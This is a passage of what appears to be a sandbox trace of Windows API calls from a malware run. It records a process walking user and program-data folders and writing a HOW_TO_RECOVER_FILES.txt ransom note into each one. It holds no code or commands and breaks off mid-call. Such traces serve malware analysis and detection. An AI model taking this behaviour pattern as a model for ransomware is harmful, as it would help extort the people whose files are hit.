ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3383a26d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3383a26d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0154.947] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0154.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0154.947] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0154.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0154.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\winmsipc\\server\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.948] GetFileType (hFile=0x7f8) returned 0x1 [0154.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0154.948] GetFileType (hFile=0x7f8) returned 0x1 [0154.949] WriteFile (in: hFile=0x7f8, lpBuffer=0x3341890*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3341890*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0154.950] CloseHandle (hObject=0x7f8) returned 1 [0154.950] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0154.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0154.950] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\winmsipc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.951] GetFileType (hFile=0x7f8) returned 0x1 [0154.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0154.951] GetFileType (hFile=0x7f8) returned 0x1 [0154.951] WriteFile (in: hFile=0x7f8, lpBuffer=0x33450d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x33450d8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0154.952] CloseHandle (hObject=0x7f8) returned 1 [0154.952] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0154.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0154.952] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.953] GetFileType (hFile=0x7f8) returned 0x1 [0154.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0154.953] GetFileType (hFile=0x7f8) returned 0x1 [0154.954] WriteFile (in: hFile=0x7f8, lpBuffer=0x33488b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x33488b8*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0154.954] CloseHandle (hObject=0x7f8) returned 1 [0154.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0154.955] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive", lpFilePart=0x0) returned 0x25 [0154.955] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.955] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.089] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49a254a6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0155.394] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0155.449] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0155.771] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0155.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0155.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0155.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0155.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive", lpFilePart=0x0) returned 0x25 [0155.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.192] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49a254a6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0156.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0156.225] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.225] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0156.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0156.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0156.225] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x2b [0156.225] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49a254a6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0156.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0156.226] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.226] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0156.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0156.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0156.226] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x2b [0156.226] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49a254a6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x49a254a6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0156.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0156.227] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0156.227] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0156.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0156.227] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0156.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0156.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0156.228] GetFileType (hFile=0x7fc) returned 0x1 [0156.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0156.228] GetFileType (hFile=0x7fc) returned 0x1 [0156.229] WriteFile (in: hFile=0x7fc, lpBuffer=0x34611c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x34611c8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0156.229] CloseHandle (hObject=0x7fc) returned 1 [0156.229] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0156.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0156.230] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft onedrive\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0156.230] GetFileType (hFile=0x7fc) returned 0x1 [0156.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0156.230] GetFileType (hFile=0x7fc) returned 0x1 [0156.231] WriteFile (in: hFile=0x7fc, lpBuffer=0x3464a10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x3464a10*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0156.231] CloseHandle (hObject=0x7fc) returned 1 [0156.231] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2b [0156.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0156.231] CreateFileW (lpFileName="C:\\Users\\All Users\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0156.232] GetFileType (hFile=0x7fc) returned 0x1 [0156.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0156.232] GetFileType (hFile=0x7fc) returned 0x1 [0156.232] WriteFile (in: hFile=0x7fc, lpBuffer=0x34681c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x34681c0*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0156.233] CloseHandle (hObject=0x7fc) returned 1 [0156.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0156.233] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0156.234] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc5e0) returned 1 [0156.235] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2e [0156.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0156.236] CreateFileW (lpFileName="C:\\Users\\Default User\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default user\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0156.236] GetFileType (hFile=0x7fc) returned 0x1 [0156.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0156.236] GetFileType (hFile=0x7fc) returned 0x1 [0156.237] WriteFile (in: hFile=0x7fc, lpBuffer=0x34786e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x34786e8*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0156.237] CloseHandle (hObject=0x7fc) returned 1 [0156.519] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x129daf0*=0x190, lpdwindex=0x10fc984) Thread: id = 2 os_tid = 0x86c Thread: id = 3 os_tid = 0xed8 Thread: id = 4 os_tid = 0xf08 [0040.658] CoGetContextToken (in: pToken=0x1b3ef800 | out: pToken=0x1b3ef800) returned 0x800401f0 [0040.658] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0040.658] RoInitialize () returned 0x1 [0040.658] RoUninitialize () returned 0x0 [0067.228] CoGetContextToken (in: pToken=0x1b3ef840 | out: pToken=0x1b3ef840) returned 0x0 [0067.229] CoGetContextToken (in: pToken=0x1b3ef740 | out: pToken=0x1b3ef740) returned 0x0 [0067.229] WbemLocator:IUnknown:Release (This=0x1ec1eea0) returned 0x1 [0067.229] WbemLocator:IUnknown:Release (This=0x1ec1eea0) returned 0x0 [0067.229] IUnknown:Release (This=0x1ec34e40) returned 0x0 [0067.230] CloseHandle (hObject=0x360) returned 1 [0067.230] CloseHandle (hObject=0x558) returned 1 [0067.230] CloseHandle (hObject=0x35c) returned 1 [0067.230] CloseHandle (hObject=0x46c) returned 1 [0067.230] CloseHandle (hObject=0x358) returned 1 [0067.231] CloseHandle (hObject=0x4d4) returned 1 [0067.231] CloseHandle (hObject=0x354) returned 1 [0067.231] CloseHandle (hObject=0x460) returned 1 [0067.231] CloseHandle 